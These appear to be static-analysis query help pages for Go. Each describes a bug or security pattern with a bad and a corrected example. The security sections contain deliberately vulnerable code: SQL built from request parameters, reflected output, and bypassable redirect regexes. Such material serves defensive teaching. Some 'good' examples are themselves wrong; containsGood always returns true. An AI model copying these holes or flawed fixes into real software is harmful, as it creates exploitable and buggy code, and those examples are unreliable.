Constant length comparison

Indexing operations on arrays, slices, or strings should use an index at most one less than the length. If the operation uses a variable index but checks the length against a constant, this may indicate a logic error which could lead to an out-of-bounds access.

Recommendation

Inspect the code closely to determine whether the length should be compared to the index variable instead. For loops that iterate over every element, using a range loop is better than explicit index manipulation.

Example

The following example shows a method which checks whether slice xs is a prefix of slice ys:

package main

func isPrefixOf(xs, ys []int) bool {
	for i := 0; i < len(xs); i++ {
		if len(ys) == 0 || xs[i] != ys[i] {
			return false
		}
	}
	return true
}

A loop using an index variable i is used to iterate over the elements of xs and compare them to the corresponding elements of ys. However, the check to ensure that i is a valid index into ys is incorrectly specified as len(ys) == 0. Instead, the check should ensure that len(ys) is greater than i:

package main

func isPrefixOfGood(xs, ys []int) bool {
	for i := 0; i < len(xs); i++ {
		if len(ys) <= i || xs[i] != ys[i] {
			return false
		}
	}
	return true
}

References

• The Go Programming Language Specification: For statements.
• The Go Programming Language Specification: Index expressions.

Inconsistent direction of for loop

Most for loops either increment a variable until an upper bound is reached, or decrement a variable until a lower bound is reached. If, instead, the variable is incremented but checked against a lower bound, or decremented but checked against an upper bound, then the loop will usually either terminate immediately and never execute its body, or it will keep iterating indefinitely. Neither is likely to be intentional, and is most likely the result of a typo.

The only exception to this are loops whose loop variable is an unsigned integer. In this case, initializing the variable with an upper bound and then decrementing it while checking against the same upper bound is unproblematic: the variable is counted down from the upper bound to zero, and then wraps around to a large positive value, causing the loop to terminate. This is usually intentional, and hence is not flagged by the query.

Recommendation

Examine the loop carefully to check whether its test expression or update statement are erroneous.

Example

In the following example, two loops are used to set all elements of a slice a outside a range lower..upper to zero. However, the second loop contains a typo: the loop variable i is decremented instead of incremented, so i is counted downwards from upper+1 to 0, -1, -2 and so on.

package main

func zeroOutExcept(a []int, lower int, upper int) {
	// zero out everything below index `lower`
	for i := lower - 1; i >= 0; i-- {
		a[i] = 0
	}

	// zero out everything above index `upper`
	for i := upper + 1; i < len(a); i-- {
		a[i] = 0
	}
}

To correct this issue, change the second loop to increment its loop variable instead:

package main

func zeroOutExcept(a []int, lower int, upper int) {
	// zero out everything below index `lower`
	for i := lower - 1; i >= 0; i-- {
		a[i] = 0
	}

	// zero out everything above index `upper`
	for i := upper + 1; i < len(a); i++ {
		a[i] = 0
	}
}

References

• The Go Programming Language Specification: For statements.
• Common Weakness Enumeration: CWE-835.

Off-by-one comparison against length

Indexing operations on arrays, slices or strings should use an index at most one less than the length. If the index to be accessed is checked for being less than or equal to the length (<=), instead of less than the length (<), the index could be out of bounds.

Recommendation

Use less than (<) rather than less than or equals (<=) when comparing a potential index against a length. For loops that iterate over every element, a better solution is to use a range loop instead of looping over explicit indexes.

Example

The following example shows a method which checks whether a value appears in a comma-separated list of values:

package main

import "strings"

func containsBad(searchName string, names string) bool {
	values := strings.Split(names, ",")
	// BAD: index could be equal to length
	for i := 0; i <= len(values); i++ {
		// When i = length, this access will be out of bounds
		if values[i] == searchName {
			return true
		}
	}
	return false
}

A loop using an index variable i is used to iterate over the elements in the comma-separated list. However, the terminating condition of the loop is incorrectly specified as i <= len(values). This condition holds when i is equal to len(values), but the access values[i] in the body of the loop will be out of bounds in this case.

One potential solution would be to replace i <= len(values) with i < len(values). A better solution is to use a range loop instead, which avoids the need for explicitly manipulating the index variable:

package main

import "strings"

func containsGood(searchName string, names string) bool {
	values := strings.Split(names, ",")
	// GOOD: Avoid using indexes, use range loop instead
	for _, name := range values {
		if name == searchName {
			return true
		}
	}
	return true
}

References

• The Go Programming Language Specification: For statements.
• The Go Programming Language Specification: Index expressions.
• Common Weakness Enumeration: CWE-193.

Missing error check

When a function call returns two values, a pointer and a (subtype of) error, it is conventional to assume that the pointer might be nil until either the pointer or error value has been checked.

If the pointer is dereferenced without a check, an unexpected nil pointer dereference panic may occur.

Recommendation

Ensure that the returned pointer is either directly checked against nil, or the error value is checked before using the returned pointer.

Example

In the example below, user dereferences ptr without checking either ptr or err. This might lead to a panic.

package main

import (
	"fmt"
	"os"
)

func user(input string) {

	ptr, err := os.Open(input)
	// BAD: ptr is dereferenced before either it or `err` has been checked.
	fmt.Printf("Opened %v\n", *ptr)
	if err != nil {
		fmt.Printf("Bad input: %s\n", input)
	}

}

The corrected version of user checks err before using ptr.

package main

import (
	"fmt"
	"os"
)

func user(input string) {

	ptr, err := os.Open(input)
	if err != nil {
		fmt.Printf("Bad input: %s\n", input)
		return
	}
	// GOOD: `err` has been checked before `ptr` is used
	fmt.Printf("Result was %v\n", *ptr)

}

References

• The Go Blog: Error handling and Go.

Bitwise exclusive-or used like exponentiation

The caret symbol (^) is sometimes used to represent exponentiation but in Go, as in many C-like languages, it represents the bitwise exclusive-or operation. The expression as 2^32 thus evaluates the number 34, not 2³², and it is likely that patterns such as this are mistakes.

Recommendation

To compute 2^EXP, 1 << EXP can be used. For constant exponents, 1eEXP can be used to find 10^EXP. In other cases, there is math.Pow in the Go standard library which provides this functionality.

Example

The example below prints 34 and not 2³² (4294967296).

package main

import "fmt"

func main() {
	fmt.Println(2 ^ 32) // should be 1 << 32
}

References

• GCC Bugzilla: GCC should warn about 2^16 and 2^32 and 2^64

Whitespace contradicts operator precedence

Nested expressions where the spacing around operators suggests a different grouping than that imposed by the Go operator precedence rules are problematic: they could indicate a bug where the author of the code misunderstood the precedence rules. Even if there is no a bug, the spacing could be confusing to people who read the code.

Recommendation

Make sure that the spacing around operators reflects operator precedence, or use parentheses to clarify grouping.

Example

Consider the following function intended for checking whether the bit at position `pos` of the variable `x` is set:

package main

func isBitSetBad(x int, pos uint) bool {
	return x&1<<pos != 0
}

Here, the spacing around & and << suggests the grouping x & (1<<pos). However, in Go & and << have the same precedence and hence are evaluated left to right, so the expression is actually equivalent to (x & 1) << pos.

To fix this issue and give the expression its intended semantics, parentheses should be used like this:

package main

func isBitSetGood(x int, pos uint) bool {
	return x&(1<<pos) != 0
}

References

• The Go Programming Language Specification: Operator precedence.
• Common Weakness Enumeration: CWE-783.

Lines of code in files

There are a number of problems associated with a high number of lines of code:

• It can be difficult to understand and maintain, even with good tool support.
• It increases the likelihood of multiple developers needing to work on the same file at once, and it therefore increases the likelihood of merge conflicts.
• It may increase network traffic if you use a version control system that requires the whole file to be transmitted even for a tiny change.
• It may arise as a result of bundling many unrelated things into the same file, and so it can indicate weak code organization.

Recommendation

The solution depends on the reason for the high number of lines:

• If the file contains one or more very large functions, you should decompose them into smaller functions by means of the Extract Function refactoring.
• If the file contains many smaller functions, you should try to split up the file into multiple smaller files.
• If the file has been automatically generated by a tool, no changes are required because the file will not be maintained by a programmer.

References

• M. Fowler, Refactoring. Addison-Wesley, 1999.

Lines of comments in files

This metric measures the number of comment lines per file. A low number of comments may indicate files that are difficult to understand due to poor documentation.

Recommendation

Consider if the file needs more documentation. Most files should have at least a comment explaining their purpose.

References

• Jeff Atwood. Avoiding Undocumentation. 2005.
• Steve McConnell. Code Complete. 2nd Edition. Microsoft Press. 2004.

Comparison of identical values

Comparing two identical expressions typically indicates a mistake such as a missing qualifier or a misspelled variable name.

Recommendation

Carefully inspect the comparison to determine whether it is a symptom of a bug.

Example

In the example below, the method Rectangle.contains is intended to check whether a point (x, y) lies inside a rectangle r given by its origin (r.x, r.y), its width r.width, and its height r.height.

package main

type Rectangle struct {
	x, y, width, height float64
}

func (r *Rectangle) containsBad(x, y float64) bool {
	return r.x <= x &&
		y <= y &&
		x <= r.x+r.width &&
		y <= r.y+r.height
}

Note, however, that on line 9 the programmer forgot to qualify r.y, thus ending up comparing the argument y against itself. The comparison should be fixed accordingly:

package main

func (r *Rectangle) containsGood(x, y float64) bool {
	return r.x <= x &&
		r.y <= y &&
		x <= r.x+r.width &&
		y <= r.y+r.height
}

Useless assignment to field

A value is assigned to a field, but its value is never read. This means that the assignment has no effect, and could indicate a logic error or incomplete code.

Recommendation

Examine the assignment closely to determine whether it is redundant, or whether it is perhaps a symptom of another bug.

Example

The following example shows a simple struct type wrapping an integer counter with a method reset that sets the counter to zero.

package main

type counter struct {
	val int
}

func (c counter) reset() {
	c.val = 0
}

However, the receiver variable of reset is declared to be of type counter, not *counter, so the receiver value is passed into the method by value, not by reference. Consequently, the method does not actually mutate its receiver as intended.

To fix this, change the type of the receiver variable to *counter:

package main

func (c *counter) resetGood() {
	c.val = 0
}

References

• Go Frequently Asked Questions: Should I define methods on values or pointers?
• The Go Programming Language Specification: Method declarations.
• Common Weakness Enumeration: CWE-563.

Useless assignment to local variable

A value is assigned to a variable, but either it is never read, or its value is always overwritten before being read. This means that the original assignment has no effect, and could indicate a logic error or incomplete code.

Recommendation

Remove assignments to variables that are immediately overwritten, or use the blank identifier _ as a placeholder for return values that are never used.

Example

In the following example, a value is assigned to a, but then immediately overwritten, a value is assigned to b and never used, and finally, the results of a call to fmt.Println are assigned to two temporary variables, which are then immediately overwritten by a call to function.

package main

import "fmt"

func main() {
	a := calculateValue()
	a = 2

	b := calculateValue()

	ignore, ignore1 := fmt.Println(a)

	ignore, ignore1, err := function()
	if err != nil {
		panic(err)
	}

	fmt.Println(a)
}

The result of calculateValue is never used, and if calculateValue is a side-effect free function, those assignments can be removed. To ignore all the return values of fmt.Println, you can simply not assign it to any variables. To ignore only certain return values, use _.

package main

import "fmt"

func main() {
	a := 2

	fmt.Println(a)

	_, _, err := function()
	if err != nil {
		panic(err)
	}

	fmt.Println(a)
}

References

• Wikipedia: Dead store.
• The Go Programming Language Specification: Blank identifier.
• Common Weakness Enumeration: CWE-563.

Duplicate 'if' branches

If the 'then' and 'else' branches of an 'if' statement are identical, this suggests a copy-paste error where the first branch was copied and then not properly adjusted.

Recommendation

Examine the two branches to find out what operations were meant to perform. If both the branches and the conditions that they check are identical, then the second branch is duplicate code that can be deleted. If the branches are really meant to perform the same operations, it may be clearer to just have a single branch that checks the disjunction of both conditions.

Example

The example below shows a buggy implementation of the absolute-value function which checks the sign of its argument, but then returns the same value regardless of the outcome of the check:

package main

func abs(x int) int {
	if x >= 0 {
		return x
	} else {
		return x
	}
}

Clearly, the 'else' branch should return -x instead:

package main

func absGood(x int) int {
	if x >= 0 {
		return x
	} else {
		return -x
	}
}

References

• The Go Programming Language Specification: If statements.
• Common Weakness Enumeration: CWE-561.

Duplicate 'if' condition

If two conditions in an 'if'-'else if' chain are identical, the second condition will never hold. This most likely indicates a copy-paste error where the first condition was copied and then not properly adjusted.

Recommendation

Examine the two conditions to find out what they were meant to check. If both the conditions and the branches that depend on them are identical, then the second branch is duplicate code that can be deleted. Otherwise, the second condition needs to be adjusted.

Example

In the example below, the function controller checks its parameter msg to determine what operation it is meant to perform. However, the comparison in the 'else if' is identical to the comparison in the 'if', so this branch will never be taken.

package main

func controller(msg string) {
	if msg == "start" {
		start()
	} else if msg == "start" {
		stop()
	} else {
		panic("Message not understood.")
	}
}

Most likely, the 'else if' branch should compare msg to "stop":

package main

func controllerGood(msg string) {
	if msg == "start" {
		start()
	} else if msg == "stop" {
		stop()
	} else {
		panic("Message not understood.")
	}
}

References

• The Go Programming Language Specification: If statements.
• Common Weakness Enumeration: CWE-561.

Duplicate switch case

If two cases in a 'switch' statement are identical, the second case will never be executed. This most likely indicates a copy-paste error where the first case was copied and then not properly adjusted.

Recommendation

Examine the two cases to find out what they were meant to check. If both the conditions and the bodies are identical, then the second case is duplicate code that can be deleted. Otherwise, the second case needs to be adjusted.

Example

In the example below, the function controller checks its parameter msg to determine what operation it is meant to perform. However, the condition of the second case is identical to that of the first, so this case will never be executed.

package main

func controller(msg string) {
	switch {
	case msg == "start":
		start()
	case msg == "start":
		stop()
	default:
		panic("Message not understood.")
	}
}

Most likely, the second case should compare msg to "stop":

package main

func controllerGood(msg string) {
	switch {
	case msg == "start":
		start()
	case msg == "stop":
		stop()
	default:
		panic("Message not understood.")
	}
}

References

• The Go Programming Language Specification: Switch statements.
• Common Weakness Enumeration: CWE-561.

Expression has no effect

An expression that has no effects (such as changing variable values or producing output) and occurs in a context where its value is ignored possibly indicates missing code or a latent bug.

Recommendation

Carefully inspect the expression to ensure it is not a symptom of a bug.

Example

The following example shows a named type Timestamp that is an alias for int, representing time stamps expressed as the number of seconds elapsed since some epoch. The addDays method returns a time stamp that is a given number of days after another time stamp, without modifying that time stamp.

However, when addDays is used in function test, its result is discarded, perhaps because the programmer mistakenly assumed that addDays updates the time stamp in place.

package main

import "fmt"

type Timestamp int

func (t Timestamp) addDays(d int) Timestamp {
	return Timestamp(int(t) + d*24*3600)
}

func test(t Timestamp) {
	fmt.Printf("Before: %s\n", t)
	t.addDays(7)
	fmt.Printf("After: %s\n", t)
}

Instead, the result of addDays should be assigned back into t:

package main

import "fmt"

func testGood(t Timestamp) {
	fmt.Printf("Before: %s\n", t)
	t = t.addDays(7)
	fmt.Printf("After: %s\n", t)
}

Impossible interface nil check

Interface values in Go are type tagged, that is, they are essentially pairs of the form (value, type), where value is a non-interface value with the given type. Such a pair is never nil, even if value is nil.

In particular, if a non-interface value v is assigned to a variable x whose type is an interface, then x will never be nil, regardless of v. Comparing x to nil is pointless, and may indicate a misunderstanding of Go interface values or some other underlying bug.

Recommendation

Carefully inspect the comparison to ensure it is not a symptom of a bug.

Example

The following example shows a declaration of a function fetch which fetches the contents of a URL, returning either the contents or an error value, which is a pointer to a custom error type RequestError (not shown). The function niceFetch wraps this function, printing out either the URL contents or an error message.

package main

import "fmt"

func fetch(url string) (string, *RequestError)

func niceFetch(url string) {
	var s string
	var e error
	s, e = fetch(url)
	if e != nil {
		fmt.Printf("Unable to fetch URL: %v\n", e)
	} else {
		fmt.Printf("URL contents: %s\n", s)
	}
}

However, because e is declared to be of type error, which is an interface, the nil check will never succeed, since e can never be nil.

In this case, the problem can be solved by using a short variable declaration using operator :=, which will automatically infer the more precise non-interface type *ResourceError for e, making the nil check behave as expected.

package main

import "fmt"

func niceFetchGood(url string) {
	s, e := fetch(url)
	if e != nil {
		fmt.Printf("Unable to fetch URL: %v\n", e)
	} else {
		fmt.Printf("URL contents: %s\n", s)
	}
}

References

• Jordan Orelli: How to use interfaces in Go.
• Go Frequently Asked Questions: Why is my nil error value not equal to nil?.

Redundant check for negative value

The built-in len function returns the length of an array, slice or similar, which is never less than zero. Hence, checking whether the result of a call to len is negative is either redundant or indicates a logic mistake.

The same applies to the built-in function cap, and to unsigned integer values.

Recommendation

Examine the length check to see whether it is redundant and can be removed, or a mistake that should be fixed.

Example

The example below shows a function that returns the first element of an array, triggering a panic if the array is empty:

package main

func getFirst(xs []int) int {
	if len(xs) < 0 {
		panic("No elements provided")
	}
	return xs[0]
}

However, the emptiness check is ineffective: since len(xs) is never less than zero, the condition will never hold and no panic will be triggered. Instead, the index expression xs[0] will cause a panic.

The check should be rewritten like this:

package main

func getFirstGood(xs []int) int {
	if len(xs) == 0 {
		panic("No elements provided")
	}
	return xs[0]
}

References

• Package builtin: func cap.
• Package builtin: func len.

Identical operands

Many arithmetic or logical operators yield a trivial result when applied to identical operands: for instance, x-x is zero if x is a number, and NaN otherwise; x&x is always equal to x. Code like this is often the result of a typo, such as misspelling a variable name.

Recommendation

Carefully inspect the expression to ensure it is not a symptom of a bug.

Example

In the example below, the function avg is intended to compute the average of two numbers x and y. However, the programmer accidentally used x twice, so the function just returns x:

package main

func avg(x, y float64) float64 {
	return (x + x) / 2
}

This problem can be fixed by correcting the typo:

package main

func avgGood(x, y float64) float64 {
	return (x + y) / 2
}

Redundant call to recover

The built-in recover function is only useful inside deferred functions. Calling it in a function that is never deferred means that it will always return nil and it will never regain control of a panicking goroutine. The same is true of calling recover directly in a defer statement.

Recommendation

Carefully inspect the code to determine whether it is a mistake that should be fixed.

Example

In the example below, the function fun1 is intended to recover from the panic. However, the function that is deferred calls another function, which then calls recover:

package main

import "fmt"

func callRecover1() {
	if recover() != nil {
		fmt.Printf("recovered")
	}
}

func fun1() {
	defer func() {
		callRecover1()
	}()
	panic("1")
}

This problem can be fixed by deferring the call to the function which calls recover:

package main

import "fmt"

func callRecover1Good() {
	if recover() != nil {
		fmt.Printf("recovered")
	}
}

func fun1Good() {
	defer callRecover1Good()
	panic("1")
}

In the following example, recover is called directly in a defer statement, which has no effect, so the panic is not caught.

package main

func fun2() {
	defer recover()
	panic("2")
}

We can fix this by instead deferring an anonymous function which calls recover.

package main

func fun2Good() {
	defer func() { recover() }()
	panic("2")
}

References

• Defer, Panic, and Recover - The Go Blog.

Self assignment

Assigning a variable to itself typically indicates a mistake such as a missing qualifier or a misspelled variable name.

Recommendation

Carefully inspect the assignment to check for misspellings or missing qualifiers.

Example

In the example below, the struct type Rect has two setter methods setWidth and setHeight that are meant to be used to update the width and height fields, respectively:

package main

type Rect struct {
	x, y, width, height int
}

func (r *Rect) setWidth(width int) {
	r.width = width
}

func (r *Rect) setHeight(height int) {
	height = height
}

Note, however, that in setHeight the programmer forgot to qualify the left-hand side of the assignment with the receiver variable r, so the method performs a useless assignment of the width parameter to itself and leaves the width field unchanged.

To fix this issue, insert a qualifier:

package main

func (r *Rect) setHeightGood(height int) {
	r.height = height
}

References

• The Go Programming Language Specification: Assignments.
• Common Weakness Enumeration: CWE-480.
• Common Weakness Enumeration: CWE-561.

Shift out of range

Shifting an integer value by more than the number of bits in its type always results in -1 for right-shifts of negative values and 0 for other shifts. Hence, such a shift expression is either redundant or indicates a logic mistake.

Recommendation

Examine the length check to see whether it is redundant and can be removed, or a mistake that should be fixed.

Example

The following code snippet attempts to compute the value 2⁴⁰ (1099511627776). However, since the left operand base is of type int32 (32 bits), the shift operation overflows, yielding zero.

package main

func shift(base int32) int32 {
	return base << 40
}

var x1 = shift(1)

To prevent this, the type of base should be changed to int64:

package main

func shiftGood(base int64) int64 {
	return base << 40
}

var x2 = shiftGood(1)

References

• The Go Programming Language Specification: Arithmetic operators.
• Common Weakness Enumeration: CWE-197.

Unreachable statement

An unreachable statement often indicates missing code or a latent bug and should be examined carefully.

Recommendation

Examine the surrounding code to determine why the statement has become unreachable. If it is no longer needed, remove the statement.

Example

In the following example, the body of the for statement cannot terminate normally, so the update statement i++ becomes unreachable:

package main

func mul(xs []int) int {
	res := 1
	for i := 0; i < len(xs); i++ {
		x := xs[i]
		res *= x
		if res == 0 {
		}
		return 0
	}
	return res
}

Most likely, the return statement should be moved inside the if statement:

package main

func mulGood(xs []int) int {
	res := 1
	for i := 0; i < len(xs); i++ {
		x := xs[i]
		res *= x
		if res == 0 {
			return 0
		}
	}
	return res
}

References

• Wikipedia: Unreachable code.
• Common Weakness Enumeration: CWE-561.

Frequency counts for external APIs that are used with untrusted data

Using unsanitized untrusted data in an external API can cause a variety of security issues. This query reports all external APIs that are used with untrusted data, along with how frequently the API is used, and how many unique sources of untrusted data flow to this API. This query is designed primarily to help identify which APIs may be relevant for security analysis of this application.

An external API is defined as a call to a function that is not defined in the source code and is not modeled as a taint step in the default taint library. Calls made in test files are excluded. External APIs may be from the Go standard library, third party dependencies, or from internal dependencies. The query will report the fully-qualified method name, along with either [param x], where x indicates the position of the parameter receiving the untrusted data, or [receiver] indicating that the untrusted data is used as the receiver of the method call.

Recommendation

For each result:

• If the result highlights a known sink, no action is required.
• If the result highlights an unknown sink for a problem, then add modeling for the sink to the relevant query.
• If the result represents a call to an external API which transfers taint (for example, from a parameter to its return value), add the appropriate modeling, and re-run the query to determine what new results have appeared due to this additional modeling.
  Otherwise, the result is likely uninteresting. Custom versions of this query can extend the SafeExternalAPIMethod class to exclude known safe external APIs from future analysis.

Example

package main

import (
	"fmt"
	"net/http"
)

func serve() {
	http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) {
		r.ParseForm()
		username := r.Form.Get("username")
		if !isValidUsername(username) {
			// BAD: a request parameter is incorporated without validation into the response
			fmt.Fprintf(w, "%q is an unknown user", username)
		} else {
			// TODO: Handle successful login
		}
	})
	http.ListenAndServe(":80", nil)
}

If the query were to return the API fmt.Fprintf [param 2] then we should first consider whether this a security relevant sink. In this case, this is writing to an HTTP response, so we should consider whether this is an XSS sink. If it is, we should confirm that it is handled by the "Reflected cross-site scripting" query (go/reflected-xss).

package main

import (
	"database/sql"
	"fmt"
	"net/http"
)

func handler(db *sql.DB, req *http.Request) {
	q := fmt.Sprintf("SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='%s' ORDER BY PRICE",
		req.URL.Query()["category"])
	db.Query(q)
}

If the query were to return the API fmt.Sprintf [param 1], then this should be reviewed as a possible taint step, because tainted data would flow from the first argument to the return value of the call.

Note that both examples are correctly handled by the standard taint tracking library and the "Reflected cross-site scripting" query (go/reflected-xss).

References

• Common Weakness Enumeration: CWE-20.

Incomplete regular expression for hostnames

Sanitizing untrusted URLs is an important technique for preventing attacks such as request forgeries and malicious redirections. Often, this is done by checking that the host of a URL is in a set of allowed hosts.

If a regular expression implements such a check, it is easy to accidentally make the check too permissive by not escaping regular-expression meta-characters such as ..

Even if the check is not used in a security-critical context, the incomplete check may still cause undesirable behavior when it accidentally succeeds.

Recommendation

Escape all meta-characters appropriately when constructing regular expressions for security checks, paying special attention to the . meta-character.

Example

The following example code checks that a URL redirection will reach the example.com domain, or one of its subdomains.

package main

import (
	"errors"
	"net/http"
	"regexp"
)

func checkRedirect(req *http.Request, via []*http.Request) error {
	// BAD: the host of `req.URL` may be controlled by an attacker
	re := "^((www|beta).)?example.com/"
	if matched, _ := regexp.MatchString(re, req.URL.Host); matched {
		return nil
	}
	return errors.New("Invalid redirect")
}

The check is however easy to bypass because the unescaped . allows for any character before example.com, effectively allowing the redirect to go to an attacker-controlled domain such as wwwXexample.com.

Address this vulnerability by escaping . appropriately:

package main

import (
	"errors"
	"net/http"
	"regexp"
)

func checkRedirectGood(req *http.Request, via []*http.Request) error {
	// GOOD: the host of `req.URL` must be `example.com`, `www.example.com` or `beta.example.com`
	re := "^((www|beta)\\.)?example\\.com/"
	if matched, _ := regexp.MatchString(re, req.URL.Host); matched {
		return nil
	}
	return errors.New("Invalid redirect")
}

References

• OWASP: SSRF
• OWASP: Unvalidated Redirects and Forwards Cheat Sheet.
• Common Weakness Enumeration: CWE-20.

Incomplete URL scheme check

URLs with the special scheme javascript can be used to encode JavaScript code to be executed when the URL is visited. While this is a powerful mechanism for creating feature-rich and responsive web applications, it is also a potential security risk: if the URL comes from an untrusted source, it might contain harmful JavaScript code. For this reason, many frameworks and libraries first check the URL scheme of any untrusted URL, and reject URLs with the javascript scheme.

However, the data and vbscript schemes can be used to represent executable code in a very similar way, so any validation logic that checks against javascript, but not against data and vbscript, is likely to be insufficient.

Recommendation

Add checks covering both data: and vbscript:.

Example

The following function validates a (presumably untrusted) URL urlstr. If its scheme is javascript, the harmless placeholder URL about:blank is returned to prevent code injection; otherwise urlstr itself is returned.

package main

import "net/url"

func sanitizeUrl(urlstr string) string {
	u, err := url.Parse(urlstr)
	if err != nil || u.Scheme == "javascript" {
		return "about:blank"
	}
	return urlstr
}

While this check provides partial projection, it should be extended to cover data and vbscript as well:

package main

import "net/url"

func sanitizeUrlGod(urlstr string) string {
	u, err := url.Parse(urlstr)
	if err != nil || u.Scheme == "javascript" || u.Scheme == "data" || u.Scheme == "vbscript" {
		return "about:blank"
	}
	return urlstr
}

References

• WHATWG: URL schemes.
• Common Weakness Enumeration: CWE-20.

Missing regular expression anchor

Sanitizing untrusted input with regular expressions is a common technique. However, it is error-prone to match untrusted input against regular expressions without anchors such as ^ or $. Malicious input can bypass such security checks by embedding one of the allowed patterns in an unexpected location.

Even if the matching is not done in a security-critical context, it may still cause undesirable behavior when the regular expression accidentally matches.

Recommendation

Use anchors to ensure that regular expressions match at the expected locations.

Example

The following example code checks that a URL redirection will reach the example.com domain, or one of its subdomains, and not some malicious site.

package main

import (
	"errors"
	"net/http"
	"regexp"
)

func checkRedirect2(req *http.Request, via []*http.Request) error {
	// BAD: the host of `req.URL` may be controlled by an attacker
	re := "https?://www\\.example\\.com/"
	if matched, _ := regexp.MatchString(re, req.URL.String()); matched {
		return nil
	}
	return errors.New("Invalid redirect")
}

The check with the regular expression match is, however, easy to bypass. For example, the string http://example.com/ can be embedded in the query string component: http://evil-example.net/?x=http://example.com/.

Address these shortcomings by using anchors in the regular expression instead:

package main

import (
	"errors"
	"net/http"
	"regexp"
)

func checkRedirect2Good(req *http.Request, via []*http.Request) error {
	// GOOD: the host of `req.URL` cannot be controlled by an attacker
	re := "^https?://www\\.example\\.com/"
	if matched, _ := regexp.MatchString(re, req.URL.String()); matched {
		return nil
	}
	return errors.New("Invalid redirect")
}

A related mistake is to write a regular expression with multiple alternatives, but to only anchor one of the alternatives. As an example, the regular expression ^www\.example\.com|beta\.example\.com will match the host evil.beta.example.com because the regular expression is parsed as (^www\.example\.com)|(beta\.example\.com)/, so the second alternative beta\.example\.com is not anchored at the beginning of the string.

References

• OWASP: SSRF
• OWASP: Unvalidated Redirects and Forwards Cheat Sheet.
• Common Weakness Enumeration: CWE-20.

Suspicious characters in a regular expression

When a character in a string literal or regular expression literal is preceded by a backslash, it is interpreted as part of an escape sequence. For example, the escape sequence \n in a string literal corresponds to a single newline character, and not the \ and n characters. There are two Go escape sequences that could produce surprising results. First, regexp.Compile("\a") matches the bell character, whereas regexp.Compile("\\A") matches the start of text and regexp.Compile("\\a") is a Vim (but not Go) regular expression matching any alphabetic character. Second, regexp.Compile("\b") matches a backspace, whereas regexp.Compile("\\b") matches the start of a word. Confusing one for the other could lead to a regular expression passing or failing much more often than expected, with potential security consequences. Note this is less of a problem than in some other languages because in Go, only valid escape sequences are accepted, both in an ordinary string (for example, s := "\k" will not compile as there is no such escape sequence) and in regular expressions (for example, regexp.MustCompile("\\k") will panic as \k does not refer to a character class or other special token according to Go's regular expression grammar).

Recommendation

Ensure that the right number of backslashes is used when escaping characters in strings and regular expressions.

Example

The following example code fails to check for a forbidden word in an input string:

package main

import "regexp"

func broken(hostNames []byte) string {
	var hostRe = regexp.MustCompile("\bforbidden.host.org")
	if hostRe.Match(hostNames) {
		return "Must not target forbidden.host.org"
	} else {
		// This will be reached even if hostNames is exactly "forbidden.host.org",
		// because the literal backspace is not matched
		return ""
	}
}

The check does not work, but can be fixed by escaping the backslash:

package main

import "regexp"

func fixed(hostNames []byte) string {
	var hostRe = regexp.MustCompile(`\bforbidden.host.org`)
	if hostRe.Match(hostNames) {
		return "Must not target forbidden.host.org"
	} else {
		// hostNames definitely doesn't contain a word "forbidden.host.org", as "\\b"
		// is the start-of-word anchor, not a literal backspace.
		return ""
	}
}

Alternatively, you can use backtick-delimited raw string literals. For example, the \b in regexp.Compile(`hello\bworld`) matches a word boundary, not a backspace character, as within backticks \b is not an escape sequence.

References

• golang.org: Overview of the Regexp package.
• Google: Syntax of regular expressions accepted by RE2.
• Common Weakness Enumeration: CWE-20.

Untrusted data passed to external API

Using unsanitized untrusted data in an external API can cause a variety of security issues. This query reports external APIs that use untrusted data. The results have very little filtering so that you can audit almost all examples. The query provides data for security reviews of the application. It can also be used to identify external APIs that should be modeled as either taint steps, or sinks for specific problems.

An external API is defined as a call to a function that is not defined in the source code and is not modeled as a taint step in the default taint library. Calls made in test files are excluded. External APIs may be from the Go standard library, third-party dependencies, or from internal dependencies. The query reports uses of untrusted data in either the receiver or as one of the arguments of external APIs.

Recommendation

For each result:

• If the result highlights a known sink, confirm that the result is reported by the relevant query, or that the result is a false positive because this data is sanitized.
• If the result highlights an unknown sink for a problem, then add modeling for the sink to the relevant query, and confirm that the result is either found, or is safe due to appropriate sanitization.
• If the result represents a call to an external API that transfers taint (for example, from a parameter to its return value), add the appropriate modeling, and re-run the query to determine what new results have appeared due to this additional modeling.
  Otherwise, the result is likely uninteresting. Custom versions of this query can extend the SafeExternalAPIMethod class to exclude known safe external APIs from future analysis.

Example

In this first example, a request parameter is read from http.Request and then ultimately used in a call to the fmt.Fprintf external API:

package main

import (
	"fmt"
	"net/http"
)

func serve() {
	http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) {
		r.ParseForm()
		username := r.Form.Get("username")
		if !isValidUsername(username) {
			// BAD: a request parameter is incorporated without validation into the response
			fmt.Fprintf(w, "%q is an unknown user", username)
		} else {
			// TODO: Handle successful login
		}
	})
	http.ListenAndServe(":80", nil)
}

This is an XSS sink. The "Reflected cross-site scripting" query (go/reflected-xss) should therefore be reviewed to confirm that this sink is appropriately modeled, and if it is, to confirm that the query reports this particular result, or that the result is a false positive due to some existing sanitization.

In this second example, again a request parameter is read from http.Request.

package main

import (
	"database/sql"
	"fmt"
	"net/http"
)

func handler(db *sql.DB, req *http.Request) {
	q := fmt.Sprintf("SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='%s' ORDER BY PRICE",
		req.URL.Query()["category"])
	db.Query(q)
}

If the query reported the call to fmt.Sprintf, this would suggest that this external API is not currently modeled as a taint step in the taint tracking library. The next step would be to model this as a taint step, then re-run the query to determine what additional results might be found. In this example, an SQL injection vulnerability would be reported.

Note that both examples are correctly handled by the standard taint tracking library, the "Reflected cross-site scripting" query (go/reflected-xss), and the "Database query built from user-controlled sources" query (go/sql-injection).

References

• Common Weakness Enumeration: CWE-20.

Untrusted data passed to unknown external API

Using unsanitized untrusted data in an external API can cause a variety of security issues. This query reports external APIs that use untrusted data. The results have been filtered to only report unknown external APIs. The query provides data for security reviews of the application. It can also be used to identify external APIs that should be modeled as either taint steps, or sinks for specific problems.

An external API is defined as a call to a function that is not defined in the source code and is not modeled as a taint step in the default taint library. Calls made in test files are excluded. External APIs may be from the Go standard library, third-party dependencies, or from internal dependencies. The query reports uses of untrusted data in either the receiver or as one of the arguments of external APIs.

An external API is considered unknown if it is not in a package which has already been modeled, it is not a sink for an existing query, and it is not in a list of external APIs which have been examined and determined to not be a possible source of security vulnerabilities.

Recommendation

For each result:

